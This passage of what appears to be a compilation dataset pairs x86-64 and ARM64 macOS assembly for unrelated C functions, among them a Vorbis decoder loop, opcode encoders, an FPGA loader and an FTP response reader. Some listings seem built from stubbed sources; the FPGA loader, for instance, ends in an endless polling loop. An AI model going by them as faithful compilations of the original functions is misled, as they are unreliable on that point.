@START_BIST_IN_TYPE .comm _MC_CMD_START_BIST,4,2 ; @MC_CMD_START_BIST .comm _MC_CMD_START_BIST_IN_LEN,4,2 ; @MC_CMD_START_BIST_IN_LEN .comm _MC_CMD_POLL_BIST_IN_LEN,8,3 ; @MC_CMD_POLL_BIST_IN_LEN .comm _MC_CMD_POLL_BIST,4,2 ; @MC_CMD_POLL_BIST .comm _POLL_BIST_OUT_RESULT,4,2 ; @POLL_BIST_OUT_RESULT .comm _MC_CMD_POLL_BIST_RUNNING,8,3 ; @MC_CMD_POLL_BIST_RUNNING .comm _ETIMEDOUT,4,2 ; @ETIMEDOUT .comm _MC_CMD_POLL_BIST_PASSED,8,3 ; @MC_CMD_POLL_BIST_PASSED .comm _PHY_TYPE_SFT9001B,8,3 ; @PHY_TYPE_SFT9001B .comm _MC_CMD_PHY_BIST_CABLE_SHORT,4,2 ; @MC_CMD_PHY_BIST_CABLE_SHORT .comm _MC_CMD_PHY_BIST_CABLE_LONG,4,2 ; @MC_CMD_PHY_BIST_CABLE_LONG .comm _POLL_BIST_OUT_SFT9001_CABLE_LENGTH_A,4,2 ; @POLL_BIST_OUT_SFT9001_CABLE_LENGTH_A .comm _MC_CMD_POLL_BIST_OUT_SFT9001_LEN,8,3 ; @MC_CMD_POLL_BIST_OUT_SFT9001_LEN .comm _EFX_DWORD_0,4,2 ; @EFX_DWORD_0 .no_dead_strip _efx_mcdi_bist .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _res1_inverse ## -- Begin function res1_inverse .p2align 4, 0x90 _res1_inverse: ## @res1_inverse .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp testl %r8d, %r8d js LBB0_5 ## %bb.1: xorl %eax, %eax xorl %esi, %esi jmp LBB0_2 .p2align 4, 0x90 LBB0_4: ## in Loop: Header=BB0_2 Depth=1 addq $-4, %rax LBB0_2: ## =>This Inner Loop Header: Depth=1 cmpl $0, (%rcx,%rax) je LBB0_4 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 movq (%rdx,%rax,2), %rdi movslq %esi, %r8 incl %esi movq %rdi, (%rdx,%r8,8) jmp LBB0_4 LBB0_5: xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .comm _vorbis_book_decodev_add,4,2 ## @vorbis_book_decodev_add .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _res1_inverse ; -- Begin function res1_inverse .p2align 2 _res1_inverse: ; @res1_inverse .cfi_startproc ; %bb.0: tbnz w4, #31, LBB0_5 ; %bb.1: mov w8, #0 ; =0x0 mov x9, x2 b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 sub x9, x9, #8 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr w10, [x3], #-4 cbz w10, LBB0_2 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 ldr x10, [x9] str x10, [x2, w8, sxtw #3] add w8, w8, #1 b LBB0_2 LBB0_5: mov w0, #0 ; =0x0 ret .cfi_endproc ; -- End function .comm _vorbis_book_decodev_add,4,2 ; @vorbis_book_decodev_add .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function opfdiv _opfdiv: ## @opfdiv .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl (%rdx), %ecx movl $-1, %eax cmpl $2, %ecx je LBB0_7 ## %bb.1: cmpl $1, %ecx jne LBB0_13 ## %bb.2: movq 8(%rdx), %rcx movl (%rcx), %edx movq _OT_MEMORY@GOTPCREL(%rip), %rdi testl %edx, (%rdi) je LBB0_13 ## %bb.3: movq _OT_DWORD@GOTPCREL(%rip), %rdi testl %edx, (%rdi) je LBB0_5 ## %bb.4: movl $216, (%rsi) movq 8(%rcx), %rax movl (%rax), %ecx orl $48, %ecx xorl %eax, %eax movq $-4, %rdx jmp LBB0_12 LBB0_7: movq 8(%rdx), %rdx movq _OT_FPUREG@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movq _OT_REGALL@GOTPCREL(%rip), %rdi movl (%rdi), %edi notl %edi movl (%rdx), %r8d andl %edi, %r8d testl %ecx, %r8d je LBB0_8 LBB0_10: movl $216, (%rsi) movl $240, %ecx orl 40(%rdx), %ecx LBB0_11: movl $2, %eax movl $4, %edx LBB0_12: movl %ecx, (%rsi,%rdx) LBB0_13: popq %rbp retq LBB0_8: cmpl $0, 16(%rdx) jne LBB0_13 ## %bb.9: andl 24(%rdx), %edi testl %ecx, %edi jne LBB0_10 jmp LBB0_13 LBB0_5: movq _OT_QWORD@GOTPCREL(%rip), %rdi testl %edx, (%rdi) je LBB0_13 ## %bb.6: movl $220, (%rsi) movq 8(%rcx), %rax movl (%rax), %ecx orl $48, %ecx jmp LBB0_11 .cfi_endproc ## -- End function .comm _OT_MEMORY,4,2 ## @OT_MEMORY .comm _OT_DWORD,4,2 ## @OT_DWORD .comm _OT_QWORD,4,2 ## @OT_QWORD .comm _OT_FPUREG,4,2 ## @OT_FPUREG .comm _OT_REGALL,4,2 ## @OT_REGALL .no_dead_strip _opfdiv .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function opfdiv _opfdiv: ; @opfdiv .cfi_startproc ; %bb.0: ldr w8, [x2] cmp w8, #2 b.eq LBB0_5 ; %bb.1: cmp w8, #1 b.ne LBB0_12 ; %bb.2: ldr x8, [x2, #8] ldr w9, [x8] Lloh0: adrp x10, _OT_MEMORY@GOTPAGE Lloh1: ldr x10, [x10, _OT_MEMORY@GOTPAGEOFF] Lloh2: ldr w10, [x10] tst w10, w9 b.eq LBB0_12 ; %bb.3: Lloh3: adrp x10, _OT_DWORD@GOTPAGE Lloh4: ldr x10, [x10, _OT_DWORD@GOTPAGEOFF] Lloh5: ldr w10, [x10] tst w10, w9 b.eq LBB0_10 ; %bb.4: mov w0, #0 ; =0x0 mov w9, #216 ; =0xd8 str w9, [x1] ldr x8, [x8, #8] ldr w8, [x8] orr w8, w8, #0x30 mov x9, #-4 ; =0xfffffffffffffffc str w8, [x1, x9] ret LBB0_5: ldr x8, [x2, #8] ldr w11, [x8] Lloh6: adrp x9, _OT_FPUREG@GOTPAGE Lloh7: ldr x9, [x9, _OT_FPUREG@GOTPAGEOFF] Lloh8: ldr w9, [x9] Lloh9: adrp x10, _OT_REGALL@GOTPAGE Lloh10: ldr x10, [x10, _OT_REGALL@GOTPAGEOFF] Lloh11: ldr w10, [x10] bic w11, w11, w10 tst w11, w9 b.eq LBB0_8 LBB0_6: mov w9, #216 ; =0xd8 str w9, [x1] ldr w8, [x8, #40] orr w8, w8, #0xf0 LBB0_7: mov w0, #2 ; =0x2 mov w9, #4 ; =0x4 str w8, [x1, x9] ret LBB0_8: ldr w11, [x8, #16] cbnz w11, LBB0_12 ; %bb.9: mvn w10, w10 ldr w11, [x8, #24] and w9, w11, w9 tst w9, w10 b.ne LBB0_6 b LBB0_12 LBB0_10: Lloh12: adrp x10, _OT_QWORD@GOTPAGE Lloh13: ldr x10, [x10, _OT_QWORD@GOTPAGEOFF] Lloh14: ldr w10, [x10] tst w10, w9 b.eq LBB0_12 ; %bb.11: mov w9, #220 ; =0xdc str w9, [x1] ldr x8, [x8, #8] ldr w8, [x8] orr w8, w8, #0x30 b LBB0_7 LBB0_12: mov w0, #-1 ; =0xffffffff ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14 .cfi_endproc ; -- End function .comm _OT_MEMORY,4,2 ; @OT_MEMORY .comm _OT_DWORD,4,2 ; @OT_DWORD .comm _OT_QWORD,4,2 ; @OT_QWORD .comm _OT_FPUREG,4,2 ; @OT_FPUREG .comm _OT_REGALL,4,2 ; @OT_REGALL .no_dead_strip _opfdiv .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function pci_6534_load_fpga _pci_6534_load_fpga: ## @pci_6534_load_fpga .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rcx, %r14 movq %rdi, %rbx movl %r14d, %edi orl $128, %edi movq _Firmware_Control_Register@GOTPCREL(%rip), %r15 movq (%r15), %rsi addq (%rbx), %rsi callq _writew orl $192, %r14d movq (%r15), %rsi addq (%rbx), %rsi movl %r14d, %edi callq _writew movq _Firmware_Status_Register@GOTPCREL(%rip), %r14 .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 movq (%r14), %rdi addq (%rbx), %rdi callq _readw movl $1, %edi callq _udelay jmp LBB0_1 .cfi_endproc ## -- End function .comm _Firmware_Control_Register,8,3 ## @Firmware_Control_Register .comm _Firmware_Status_Register,8,3 ## @Firmware_Status_Register .comm _EIO,4,2 ## @EIO .comm _Firmware_Data_Register,8,3 ## @Firmware_Data_Register .no_dead_strip _pci_6534_load_fpga .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function pci_6534_load_fpga _pci_6534_load_fpga: ; @pci_6534_load_fpga .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x20, x3 mov x19, x0 ldr x8, [x0] Lloh0: adrp x21, _Firmware_Control_Register@GOTPAGE Lloh1: ldr x21, [x21, _Firmware_Control_Register@GOTPAGEOFF] ldr x9, [x21] orr w0, w20, #0x80 add x1, x9, x8 bl _writew ldr x8, [x19] ldr x9, [x21] orr w0, w20, #0xc0 add x1, x9, x8 bl _writew Lloh2: adrp x20, _Firmware_Status_Register@GOTPAGE Lloh3: ldr x20, [x20, _Firmware_Status_Register@GOTPAGEOFF] LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [x19] ldr x9, [x20] add x0, x9, x8 bl _readw mov w0, #1 ; =0x1 bl _udelay b LBB0_1 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _Firmware_Control_Register,8,3 ; @Firmware_Control_Register .comm _Firmware_Status_Register,8,3 ; @Firmware_Status_Register .comm _EIO,4,2 ; @EIO .comm _Firmware_Data_Register,8,3 ; @Firmware_Data_Register .no_dead_strip _pci_6534_load_fpga .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function kftp_get_response _kftp_get_response: ## @kftp_get_response .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx movl 16(%rdi), %edi movl $1, %esi callq _socket_wait testq %rax, %rax jle LBB0_1 ## %bb.2: movl 16(%rbx), %edi leaq -41(%rbp), %rsi movl $1, %edx callq _netread testq %rax, %rax je LBB0_3 ## %bb.4: xorl %r13d, %r13d leaq -41(%rbp), %r15 movl $256, %r12d ## imm = 0x100 jmp LBB0_5 .p2align 4, 0x90 LBB0_8: ## in Loop: Header=BB0_5 Depth=1 movl %r14d, %r13d LBB0_15: ## in Loop: Header=BB0_5 Depth=1 movl 16(%rbx), %edi movq %r15, %rsi movl $1, %edx callq _netread testq %rax, %rax je LBB0_16 LBB0_5: ## =>This Inner Loop Header: Depth=1 movl (%rbx), %ecx movq 8(%rbx), %rax cmpl %ecx, %r13d jl LBB0_7 ## %bb.6: ## in Loop: Header=BB0_5 Depth=1 leal (%rcx,%rcx), %esi testl %ecx, %ecx cmovel %r12d, %esi movl %esi, (%rbx) movq %rax, %rdi callq _realloc movq %rax, 8(%rbx) LBB0_7: ## in Loop: Header=BB0_5 Depth=1 movzbl -41(%rbp), %ecx leal -1(%r13), %r14d movslq %r13d, %rdx movb %cl, (%rax,%rdx) cmpb $10, %cl jne LBB0_8 ## %bb.9: ## in Loop: Header=BB0_5 Depth=1 cmpl $5, %r13d jl LBB0_14 ## %bb.10: ## in Loop: Header=BB0_5 Depth=1 movq 8(%rbx), %rax movsbl (%rax), %edi callq _isdigit testq %rax, %rax je LBB0_14 ## %bb.11: ## in Loop: Header=BB0_5 Depth=1 movq 8(%rbx), %rax movsbl 1(%rax), %edi callq _isdigit testq %rax, %rax je LBB0_14 ## %bb.12: ## in Loop: Header=BB0_5 Depth=1 movq 8(%rbx), %rax movsbl 2(%rax), %edi callq _isdigit testq %rax, %rax je LBB0_14 ## %bb.13: ## in Loop: Header=BB0_5 Depth=1 movq 8(%rbx), %rax cmpb $45, 3(%rax) movl %r14d, %r13d jne LBB0_15 .p2align 4, 0x90 LBB0_14: ## in Loop: Header=BB0_5 Depth=1 xorl %r13d, %r13d jmp LBB0_15 LBB0_16: cmpl $3, %r13d movl $-1, %eax jl LBB0_18 ## %bb.17: movq 8(%rbx), %rax movl %r13d, %ecx movb $0, -2(%rax,%rcx) movq 8(%rbx), %rdi leaq -56(%rbp), %rsi xorl %edx, %edx callq _strtol jmp LBB0_18 LBB0_1: xorl %eax, %eax jmp LBB0_18 LBB0_3: movl $-1, %eax LBB0_18: addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _kftp_get_response .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function kftp_get_response _kftp_get_response: ; @kftp_get_response .cfi_startproc ; %bb.0: sub sp, sp, #64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x0 ldr w0, [x0, #16] mov w1, #1 ; =0x1 bl _socket_wait cmp x0, #1 b.lt LBB0_16 ; %bb.1: ldr w0, [x19, #16] add x1, sp, #15 mov w2, #1 ; =0x1 bl _netread cbz x0, LBB0_15 ; %bb.2: mov w21, #0 ; =0x0 mov w20, #256 ; =0x100 b LBB0_5 LBB0_3: ; in Loop: Header=BB0_5 Depth=1 mov x21, x22 LBB0_4: ; in Loop: Header=BB0_5 Depth=1 ldr w0, [x19, #16] add x1, sp, #15 mov w2, #1 ; =0x1 bl _netread cbz x0, LBB0_14 LBB0_5: ; =>This Inner Loop Header: Depth=1 ldr w8, [x19] ldr x0, [x19, #8] cmp w21, w8 b.lt LBB0_7 ; %bb.6: ; in Loop: Header=BB0_5 Depth=1 lsl w9, w8, #1 cmp w8, #0 csel w1, w20, w9, eq str w1, [x19] bl _realloc str x0, [x19, #8] LBB0_7: ; in Loop: Header=BB0_5 Depth=1 ldrb w8, [sp, #15] sub w22, w21, #1 strb w8, [x0, w21, sxtw] cmp w8, #10 b.ne LBB0_3 ; %bb.8: ; in Loop: Header=BB0_5 Depth=1 cmp w21, #5 b.lt LBB0_13 ; %bb.9: ; in Loop: Header=BB0_5 Depth=1 ldr x8, [x19, #8] ldrsb w0, [x8] bl _isdigit cbz x0, LBB0_13 ; %bb.10: ; in Loop: Header=BB0_5 Depth=1 ldr x8, [x19, #8] ldrsb w0, [x8, #1] bl _isdigit cbz x0, LBB0_13 ; %bb.11: ; in Loop: Header=BB0_5 Depth=1 ldr x8, [x19, #8] ldrsb w0, [x8, #2] bl _isdigit cbz x0, LBB0_13 ; %bb.12: ; in Loop: Header=BB0_5 Depth=1 ldr x8, [x19, #8] ldrb w8, [x8, #3] mov x21, x22 cmp w8, #45 b.ne LBB0_4 LBB0_13: ; in Loop: Header=BB0_5 Depth=1 mov w21, #0 ; =0x0 b LBB0_4 LBB0_14: cmp w21, #3 b.ge LBB0_17 LBB0_15: mov w0, #-1 ; =0xffffffff b LBB0_18 LBB0_16: mov w0, #0 ; =0x0 b LBB0_18 LBB0_17: ldr x8, [x19, #8] add x8, x8, w21, uxtw sturb wzr, [x8, #-2] ldr x0, [x19, #8] mov x1, sp mov w2, #0 ; =0x0 bl _strtol LBB0_18: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .no_dead_strip _kftp_get_response .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function addarg _addarg: ## @addarg .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq _nargs@GOTPCREL(%rip), %r14 movl (%r14), %edx incl %edx movq _cargs@GOTPCREL(%rip), %rcx movl (%rcx), %eax movq _args@GOTPCREL(%rip), %r15 movq (%r15), %rbx cmpl %eax, %edx jl LBB0_3 ## %bb.1: leal 16(%rax), %edx movl %edx, (%rcx) leal 128(,%rax,8), %esi movq %rdi, %r12 movq %rbx, %rdi callq _realloc movq %r12, %rdi movq %rax, %rbx movq %rax, (%r15) testq %rax, %rax jne LBB0_3 ## %bb.2: leaq L_.str(%rip), %rsi movl $1, %edi callq _err movq %r12, %rdi movq (%r15), %rbx LBB0_3: callq _strdup movslq (%r14), %rdx leal -1(%rdx), %ecx movl %ecx, (%r14) movq %rax, (%rbx,%rdx,8) testq %rax, %rax jne LBB0_5 ## %bb.4: leaq L_.str.1(%rip), %rsi movl $1, %edi callq _err movl (%r14), %ecx LBB0_5: movq (%r15), %rax movslq %ecx, %rcx movq $0, (%rax,%rcx,8) popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _nargs,4,2 ## @nargs .comm _cargs,4,2 ## @cargs .comm _args,8,3 ## @args .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "malloc" L_.str.1: ## @.str.1 .asciz "strdup" .no_dead_strip _addarg .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function addarg _addarg: ; @addarg .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 Lloh0: adrp x20, _nargs@GOTPAGE Lloh1: ldr x20, [x20, _nargs@GOTPAGEOFF] ldr w9, [x20] Lloh2: adrp x8, _cargs@GOTPAGE Lloh3: ldr x8, [x8, _cargs@GOTPAGEOFF] add w10, w9, #1 ldr w9, [x8] Lloh4: adrp x21, _args@GOTPAGE Lloh5: ldr x21, [x21, _args@GOTPAGEOFF] ldr x19, [x21] cmp w10, w9 b.lt LBB0_3 ; %bb.1: add w9, w9, #16 str w9, [x8] lsl w1, w9, #3 mov x22, x0 mov x0, x19 bl _realloc mov x19, x0 mov x0, x22 str x19, [x21] cbnz x19, LBB0_3 ; %bb.2: Lloh6: adrp x1, l_.str@PAGE Lloh7: add x1, x1, l_.str@PAGEOFF mov w0, #1 ; =0x1 bl _err mov x0, x22 ldr x19, [x21] LBB0_3: bl _strdup ldrsw x9, [x20] sub w8, w9, #1 str w8, [x20] str x0, [x19, x9, lsl #3] cbnz x0, LBB0_5 ; %bb.4: Lloh8: adrp x1, l_.str.1@PAGE Lloh9: add x1, x1, l_.str.1@PAGEOFF mov w0, #1 ; =0x1 bl _err ldr w8, [x20] LBB0_5: ldr x9, [x21] str xzr, [x9, w8, sxtw #3] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpAdd Lloh6, Lloh7 .loh AdrpAdd Lloh8, Lloh9 .cfi_endproc ; -- End function .comm _nargs,4,2 ; @nargs .comm _cargs,4,2 ; @cargs .comm _args,8,3 ; @args .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "malloc" l_.str.1: ; @.str.1 .asciz "strdup" .no_dead_strip _addarg .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function oples _oples: ## @oples .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq (%rdx), %rax movq _OT_MEMORY@GOTPCREL(%rip), %rcx movl (%rcx), %ecx orl 24(%rax), %ecx je LBB0_1 ## %bb.2: movl $196, (%rsi) movq _OT_GPREG@GOTPCREL(%rip), %rcx movl (%rcx), %edx movl 32(%rax), %ecx imull 28(%rax), %ecx testl %edx, 24(%rax) je LBB0_6 ## %bb.3: leal 128(%rcx), %edx xorl %edi, %edi cmpl $257, %edx ## imm = 0x101 setae %dil shll $6, %edi addl $64, %edi testl %ecx, %ecx cmovel %ecx, %edi movl 12(%rax), %r8d shll $3, %r8d movq 40(%rax), %rax orl (%rax), %r8d orl %edi, %r8d movl %r8d, 4(%rsi) testl %ecx, %ecx je LBB0_4 ## %bb.5: movl %ecx, 8(%rsi) movl $3, %eax cmpl $257, %edx ## imm = 0x101 jae LBB0_7 ## %bb.8: popq %rbp retq LBB0_1: xorl %eax, %eax popq %rbp retq LBB0_6: movl $5, 4(%rsi) movl %ecx, 8(%rsi) LBB0_7: movl %ecx, %eax sarl $8, %eax movl %eax, 12(%rsi) movl %ecx, %eax sarl $16, %eax movl %eax, 16(%rsi) sarl $24, %ecx movl %ecx, 20(%rsi) movl $6, %eax popq %rbp retq LBB0_4: movl $2, %eax popq %rbp retq .cfi_endproc ## -- End function .comm _OT_MEMORY,4,2 ## @OT_MEMORY .comm _OT_GPREG,4,2 ## @OT_GPREG .no_dead_strip _oples .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal8,8byte_literals .p2align 3, 0x0 ; -- Begin function oples lCPI0_0: .long 4294967288 ; 0xfffffff8 .long 4294967280 ; 0xfffffff0 .section __TEXT,__text,regular,pure_instructions .p2align 2 _oples: ; @oples .cfi_startproc ; %bb.0: ldr x9, [x2] ldr w8, [x9, #24] Lloh0: adrp x10, _OT_MEMORY@GOTPAGE Lloh1: ldr x10, [x10, _OT_MEMORY@GOTPAGEOFF] Lloh2: ldr w10, [x10] orr w8, w10, w8 cbz w8, LBB0_5 ; %bb.1: mov w8, #196 ; =0xc4 str w8, [x1] Lloh3: adrp x8, _OT_GPREG@GOTPAGE Lloh4: ldr x8, [x8, _OT_GPREG@GOTPAGEOFF] Lloh5: ldr w10, [x8] ldp w11, w8, [x9, #24] ldr w12, [x9, #32] mul w8, w12, w8 tst w10, w11 b.eq LBB0_6 ; %bb.2: add w10, w8, #128 mov w11, #128 ; =0x80 mov w12, #64 ; =0x40 cmp w10, #257 csel w11, w12, w11, lo cmp w8, #0 csel w11, wzr, w11, eq ldr w12, [x9, #12] ldr x9, [x9, #40] ldr w9, [x9] orr w9, w9, w12, lsl #3 orr w9, w9, w11 str w9, [x1, #4] cbz w8, LBB0_8 ; %bb.3: str w8, [x1, #8] cmp w10, #257 b.hs LBB0_7 ; %bb.4: mov w0, #3 ; =0x3 ret LBB0_5: mov w0, #0 ; =0x0 ret LBB0_6: mov w9, #5 ; =0x5 stp w9, w8, [x1, #4] LBB0_7: dup.2s v0, w8 Lloh6: adrp x9, lCPI0_0@PAGE Lloh7: ldr d1, [x9, lCPI0_0@PAGEOFF] sshl.2s v0, v0, v1 stur d0, [x1, #12] asr w8, w8, #24 str w8, [x1, #20] mov w0, #6 ; =0x6 ret LBB0_8: mov w0, #2 ; =0x2 ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdr Lloh6, Lloh7 .cfi_endproc ; -- End function .comm _OT_MEMORY,4,2 ; @OT_MEMORY .comm _OT_GPREG,4,2 ; @OT_GPREG .no_dead_strip _oples .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function addarg _addarg: ## @addarg .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq _argcount@GOTPCREL(%rip), %rbx movq (%rbx), %rax movq _argmax@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jl LBB0_2 ## %bb.1: xorl %eax, %eax movq %rdi, %r14 callq _moreargs movq %r14, %rdi LBB0_2: testq %rdi, %rdi je LBB0_3 ## %bb.4: callq _xstrdup movq $-1, %rcx jmp LBB0_5 LBB0_3: movl $1, %ecx xorl %eax, %eax LBB0_5: movq _arglist@GOTPCREL(%rip), %rdx movq (%rdx), %rdx movq (%rbx), %rsi addq %rsi, %rcx movq %rax, (%rdx,%rsi,8) movq %rcx, (%rbx) popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .comm _argcount,8,3 ## @argcount .comm _argmax,8,3 ## @argmax .comm _arglist,8,3 ## @arglist .no_dead_strip _addarg .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function addarg _addarg: ; @addarg .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 Lloh0: adrp x19, _argcount@GOTPAGE Lloh1: ldr x19, [x19, _argcount@GOTPAGEOFF] ldr x8, [x19] Lloh2: adrp x9, _argmax@GOTPAGE Lloh3: ldr x9, [x9, _argmax@GOTPAGEOFF] Lloh4: ldr x9, [x9] cmp x8, x9 b.lt LBB0_2 ; %bb.1: mov x20, x0 bl _moreargs mov x0, x20 LBB0_2: cbz x0, LBB0_4 ; %bb.3: bl _xstrdup mov x8, #-1 ; =0xffffffffffffffff b LBB0_5 LBB0_4: mov w8, #1 ; =0x1 LBB0_5: Lloh5: adrp x9, _arglist@GOTPAGE Lloh6: ldr x9, [x9, _arglist@GOTPAGEOFF] Lloh7: ldr x9, [x9] ldr x10, [x19] add x8, x10, x8 str x0, [x9, x10, lsl #3] str x8, [x19] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .cfi_endproc ; -- End function .comm _argcount,8,3 ; @argcount .comm _argmax,8,3 ; @argmax .comm _arglist,8,3 ; @arglist .no_dead_strip _addarg .subsections_via_symbols
